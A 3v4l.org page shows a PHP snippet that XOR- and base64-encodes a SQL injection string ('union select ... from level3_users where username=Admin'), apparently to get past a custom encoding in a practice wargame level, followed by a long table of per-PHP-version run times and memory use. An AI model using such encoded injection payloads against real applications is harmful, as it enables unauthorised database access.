3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' union select 1,2,3,4,name from level3_users where username=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00718.55
8.3.50.0070.01021.88
8.3.40.0090.00618.75
8.3.30.0100.00719.22
8.3.20.0070.00020.34
8.3.10.0040.00421.92
8.3.00.0080.00022.57
8.2.180.0110.01116.63
8.2.170.0150.00622.96
8.2.160.0100.00320.48
8.2.150.0040.00424.18
8.2.140.0060.00324.66
8.2.130.0050.00226.16
8.2.120.0000.00819.48
8.2.110.0030.00621.99
8.2.100.0040.00819.55
8.2.90.0060.00319.39
8.2.80.0000.00818.04
8.2.70.0030.00517.63
8.2.60.0040.00417.93
8.2.50.0000.00818.07
8.2.40.0060.00318.22
8.2.30.0050.00318.23
8.2.20.0000.00717.67
8.2.10.0050.00319.52
8.2.00.0000.00717.69
8.1.280.0140.00425.92
8.1.270.0080.00022.15
8.1.260.0100.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00323.88
8.1.230.0040.00719.14
8.1.220.0030.00617.76
8.1.210.0050.00318.77
8.1.200.0000.00917.25
8.1.190.0040.00417.52
8.1.180.0040.00418.10
8.1.170.0080.00018.46
8.1.160.0060.00322.04
8.1.150.0070.00018.62
8.1.140.0000.00817.46
8.1.130.0030.00317.86
8.1.120.0050.00217.36
8.1.110.0030.00517.42
8.1.100.0040.00417.36
8.1.90.0000.00717.37
8.1.80.0040.00417.43
8.1.70.0070.00017.34
8.1.60.0030.00817.57
8.1.50.0040.00417.47
8.1.40.0050.00317.54
8.1.30.0020.00517.51
8.1.20.0090.00017.67
8.1.10.0000.00717.56
8.1.00.0040.00417.46
8.0.300.0070.00018.77
8.0.290.0050.00217.05
8.0.280.0040.00418.49
8.0.270.0070.00017.35
8.0.260.0000.00716.83
8.0.250.0000.00717.01
8.0.240.0050.00316.96
8.0.230.0000.00717.00
8.0.220.0000.00716.81
8.0.210.0070.00016.98
8.0.200.0030.00516.98
8.0.190.0040.00416.95
8.0.180.0040.00417.00
8.0.170.0000.00716.92
8.0.160.0040.00416.81
8.0.150.0070.00016.76
8.0.140.0000.00716.84
8.0.130.0060.00013.34
8.0.120.0040.00416.81
8.0.110.0070.00016.81
8.0.100.0040.00416.93
8.0.90.0040.00417.03
8.0.80.0090.00616.95
8.0.70.0070.00017.00
8.0.60.0080.00016.93
8.0.50.0000.00716.91
8.0.30.0100.01017.13
8.0.20.0120.00817.40
8.0.10.0000.00816.86
8.0.00.0140.00916.67
7.4.330.0020.00215.00
7.4.320.0030.00316.59
7.4.300.0030.00316.54
7.4.290.0000.00716.63
7.4.280.0000.00716.56
7.4.270.0070.00016.57
7.4.260.0030.00316.67
7.4.250.0080.00016.48
7.4.240.0040.00416.61
7.4.230.0000.00716.45
7.4.220.0150.00316.67
7.4.210.0070.00716.64
7.4.200.0000.00716.45
7.4.190.0000.00716.41
7.4.160.0150.00916.54
7.4.150.0170.00017.40
7.4.140.0110.01017.86
7.4.130.0090.01116.59
7.4.120.0090.00916.76
7.4.110.0060.01616.66
7.4.100.0070.01316.38
7.4.90.0090.00916.52
7.4.80.0040.01319.39
7.4.70.0030.01316.45
7.4.60.0080.01116.63
7.4.50.0040.00016.49
7.4.40.0160.00022.77
7.4.30.0130.00316.68
7.4.00.0110.00614.95
7.3.330.0000.00713.33
7.3.320.0000.00513.40
7.3.310.0040.00416.31
7.3.300.0070.00016.33
7.3.290.0160.00316.41
7.3.280.0100.00816.42
7.3.270.0060.01217.40
7.3.260.0040.01416.41
7.3.250.0080.00916.65
7.3.240.0110.01416.66
7.3.230.0130.00816.39
7.3.210.0110.00716.41
7.3.200.0080.00819.39
7.3.190.0130.01016.68
7.3.180.0090.00616.37
7.3.170.0000.01716.56
7.3.160.0030.01316.37
7.3.120.0060.01114.86
7.3.110.0080.00314.88
7.3.100.0070.00714.83
7.3.90.0070.00314.59
7.3.80.0030.00715.01
7.3.70.0140.00014.87
7.3.60.0000.01314.86
7.3.50.0000.01614.83
7.3.40.0030.01214.75
7.3.30.0000.01415.04
7.3.20.0040.01116.79
7.3.10.0080.00716.58
7.3.00.0110.00216.62
7.2.330.0170.00016.85
7.2.320.0030.02116.53
7.2.310.0130.00316.77
7.2.300.0160.00316.64
7.2.290.0160.00616.51
7.2.250.0030.01615.16
7.2.240.0160.00315.13
7.2.230.0040.00815.30
7.2.220.0000.01314.93
7.2.210.0040.00815.13
7.2.200.0030.00915.13
7.2.190.0070.01015.06
7.2.180.0030.00915.09
7.2.170.0100.00315.16
7.2.130.0070.00716.93
7.2.120.0090.00616.93
7.2.110.0090.00616.67
7.2.100.0060.00616.95
7.2.90.0040.01217.00
7.2.80.0120.00016.75
7.2.70.0040.01416.85
7.2.60.0060.00916.95
7.2.50.0070.00716.96
7.2.40.0030.00917.05
7.2.30.0100.00417.00
7.2.20.0070.00716.79
7.2.10.0110.00416.85
7.2.00.0040.00817.96
7.1.330.0070.00715.69
7.1.320.0070.01016.01
7.1.310.0000.01315.63
7.1.300.0030.00615.66
7.1.290.0040.01115.82
7.1.280.0040.01115.73
7.1.270.0040.00415.98
7.1.260.0030.01015.71
7.1.250.0080.00615.80
7.1.240.0000.01515.55
7.1.230.0120.00615.71
7.1.220.0030.01015.50
7.1.210.0060.00915.73
7.1.200.0050.00915.68
7.1.190.0040.00815.83
7.1.180.0090.00315.72
7.1.170.0040.01215.92
7.1.160.0060.00615.55
7.1.150.0100.00315.80
7.1.140.0030.00915.93
7.1.130.0050.00515.79
7.1.120.0030.00715.85
7.1.110.0030.01015.71
7.1.100.0060.00816.95
7.1.90.0000.01315.82
7.1.80.0000.01415.66
7.1.70.0020.00916.36
7.1.60.0060.01117.83
7.1.50.0090.00816.17
7.1.40.0030.01215.71
7.1.30.0120.00015.79
7.1.20.0100.00315.91
7.1.10.0090.00315.66
7.1.00.0060.03619.04
7.0.330.0110.00315.16
7.0.320.0030.00615.20
7.0.310.0060.00615.46
7.0.300.0040.00815.28
7.0.290.0030.00915.31
7.0.280.0090.00015.36
7.0.270.0060.00915.13
7.0.260.0070.00715.20
7.0.250.0000.00815.42
7.0.240.0100.00315.41
7.0.230.0040.01115.54
7.0.220.0030.00615.42
7.0.210.0120.00615.49
7.0.200.0050.00916.10
7.0.190.0040.00415.30
7.0.180.0130.00315.38
7.0.170.0070.00315.33
7.0.160.0100.00015.46
7.0.150.0030.00715.08
7.0.140.0070.03718.61
7.0.130.0030.00915.52
7.0.120.0070.00715.05
7.0.110.0060.00915.40
7.0.100.0060.00315.02
7.0.90.0090.00015.12
7.0.80.0000.01315.36
7.0.70.0000.00815.41
7.0.60.0030.02717.68
7.0.50.0120.03716.72
7.0.40.0030.04916.90
7.0.30.0170.03416.86
7.0.20.0180.02916.79
7.0.10.0140.02516.82
7.0.00.0080.04016.72
5.6.380.0130.00314.23
5.6.370.0030.00714.09
5.6.360.0070.00714.21
5.6.350.0100.00314.25
5.6.340.0060.00914.49
5.6.330.0140.00014.28
5.6.320.0070.00713.78
5.6.310.0030.01013.94
5.6.300.0070.00414.20
5.6.290.0030.00914.42
5.6.280.0060.03717.76
5.6.270.0060.00614.39
5.6.260.0050.00514.34
5.6.250.0000.01013.96
5.6.240.0030.01214.09
5.6.230.0000.00814.27
5.6.220.0000.01113.99
5.6.210.0060.04617.45
5.6.200.0060.04516.38
5.6.190.0030.02617.42
5.6.180.1840.02317.45
5.6.170.0150.03917.37
5.6.160.0080.04217.28
5.6.150.0050.03716.32
5.6.140.0080.03216.29
5.6.130.0120.04716.37
5.6.120.0070.04217.56
5.6.110.0050.02717.70
5.6.100.0070.04517.63
5.6.90.0120.04017.58
5.6.80.0070.03717.25
5.6.70.0220.04017.17
5.6.60.0040.00814.43
5.6.50.0110.00714.11
5.6.40.0100.00014.41
5.6.30.0090.00414.59
5.6.20.0040.00814.21
5.6.10.0130.01014.44
5.6.00.0070.01414.38
5.5.380.0080.00011.15
5.5.370.0080.00010.72
5.5.360.0080.00411.03
5.5.350.0040.04315.60
5.5.340.0050.02514.59
5.5.330.0030.04615.81
5.5.320.0150.04115.65
5.5.310.0120.03115.86
5.5.300.0020.03114.48
5.5.290.0060.03814.50
5.5.280.0000.04715.93
5.5.270.0080.02715.90
5.5.260.0050.04116.04
5.5.250.0050.02915.91
5.5.240.0080.04015.65
5.5.230.0030.01011.01
5.5.220.0120.00311.31
5.5.210.0000.01011.29
5.5.200.0160.00010.73
5.5.190.0040.00411.18
5.5.180.0060.00610.93
5.5.170.0100.00611.09
5.5.160.0030.00811.00
5.5.150.0030.00611.28
5.5.140.0070.00411.13
5.5.130.0120.00411.16
5.5.120.0040.00411.29
5.5.110.0110.00011.23
5.5.100.0080.00410.96
5.5.90.0040.00810.94
5.5.80.0000.00611.26
5.5.70.0000.00711.26
5.5.60.0000.00811.00
5.5.50.0030.00311.05
5.5.40.0060.00611.32
5.5.30.0030.00711.26
5.5.20.0070.00710.78
5.5.10.0090.00311.10
5.5.00.0040.00911.26
5.4.450.0360.03615.07
5.4.440.0260.03115.39
5.4.430.0050.03515.15
5.4.420.0150.03515.37
5.4.410.0110.02714.98
5.4.400.0570.00314.81
5.4.390.0620.00214.76
5.4.380.0180.02814.95
5.4.370.0070.03514.87
5.4.360.0140.02514.67
5.4.350.0120.03114.80
5.4.340.0090.03014.57
5.4.330.0100.00310.64
5.4.320.0070.02311.85
5.4.310.0080.02411.72
5.4.300.0070.02111.75
5.4.290.0060.02211.73
5.4.280.0050.02311.79
5.4.270.0030.03014.80
5.4.260.0080.02614.89
5.4.250.0080.03314.98
5.4.240.0110.02814.91
5.4.230.0050.03014.73
5.4.220.0090.03814.77
5.4.210.0130.02314.89
5.4.200.0080.03014.98
5.4.190.0060.02515.03
5.4.180.0050.03014.86
5.4.170.0080.02514.82
5.4.160.0090.02714.88
5.4.150.0030.03314.95
5.4.140.0080.02713.74
5.4.130.0070.03013.61
5.4.120.0100.02713.66
5.4.110.0050.04213.66
5.4.100.0090.02613.62
5.4.90.0120.03413.68
5.4.80.0070.02613.85
5.4.70.0030.04313.83
5.4.60.0080.03313.61
5.4.50.0070.03913.54
5.4.40.0070.02713.75
5.4.30.0090.02513.72
5.4.20.0040.03013.75
5.4.10.0070.03413.54
5.4.00.0080.03513.44
5.3.290.0040.02511.78
5.3.280.0100.03512.66
5.3.270.0100.02912.66
5.3.260.0070.03812.60
5.3.250.0080.03112.66
5.3.240.0080.03812.48
5.3.230.0030.02912.50
5.3.220.0070.03712.41
5.3.210.0100.03512.43
5.3.200.0040.04112.56
5.3.190.0020.03912.43
5.3.180.0070.03712.58
5.3.170.0070.03912.58
5.3.160.0050.02712.70
5.3.150.0060.03112.67
5.3.140.0030.02812.56
5.3.130.0080.03612.68
5.3.120.0080.03612.68
5.3.110.0070.02712.66
5.3.100.0070.03612.44
5.3.90.0080.02712.36
5.3.80.0060.03512.32
5.3.70.0050.03212.30
5.3.60.0140.02212.36
5.3.50.0070.03512.31
5.3.40.0060.03212.30
5.3.30.0030.03312.20
5.3.20.0080.02212.16
5.3.10.0050.02512.02
5.3.00.0100.02712.09
5.2.170.0020.02910.44
5.2.160.0050.02210.35
5.2.150.0130.01810.45
5.2.140.0000.03310.34
5.2.130.0030.03210.26
5.2.120.0040.02910.26
5.2.110.0110.02510.32
5.2.100.0100.02710.18
5.2.90.0050.02510.34
5.2.80.0080.03310.27
5.2.70.0040.02710.17
5.2.60.0050.02310.28
5.2.50.0070.02510.20
5.2.40.0030.02310.29
5.2.30.0020.03010.28
5.2.20.0030.02310.23
5.2.10.0030.02810.13
5.2.00.0100.02010.07
5.1.60.0030.0219.63
5.1.50.0050.0209.81
5.1.40.0100.0239.78
5.1.30.0070.0219.83
5.1.20.0130.0209.86
5.1.10.0090.0199.78
5.1.00.0090.0249.66
5.0.50.0050.0178.96
5.0.40.0070.0158.94
5.0.30.0080.0288.90
5.0.20.0040.0218.77
5.0.10.0040.0198.79
5.0.00.0060.0228.71
4.4.90.0000.0168.28
4.4.80.0040.0138.28
4.4.70.0020.0148.28
4.4.60.0000.0148.28
4.4.50.0030.0108.28
4.4.40.0040.0218.28
4.4.30.0020.0208.28
4.4.20.0030.0178.28
4.4.10.0000.0198.28
4.4.00.0040.0238.28
4.3.110.0070.0148.28
4.3.100.0040.0178.28
4.3.90.0040.0128.28
4.3.80.0010.0228.28
4.3.70.0050.0108.28
4.3.60.0030.0178.28
4.3.50.0040.0138.28
4.3.40.0030.0188.28
4.3.30.0010.0208.28
4.3.20.0000.0188.28
4.3.10.0070.0138.28
4.3.00.0090.0187.76

preferences:
45.84 ms | 401 KiB | 5 Q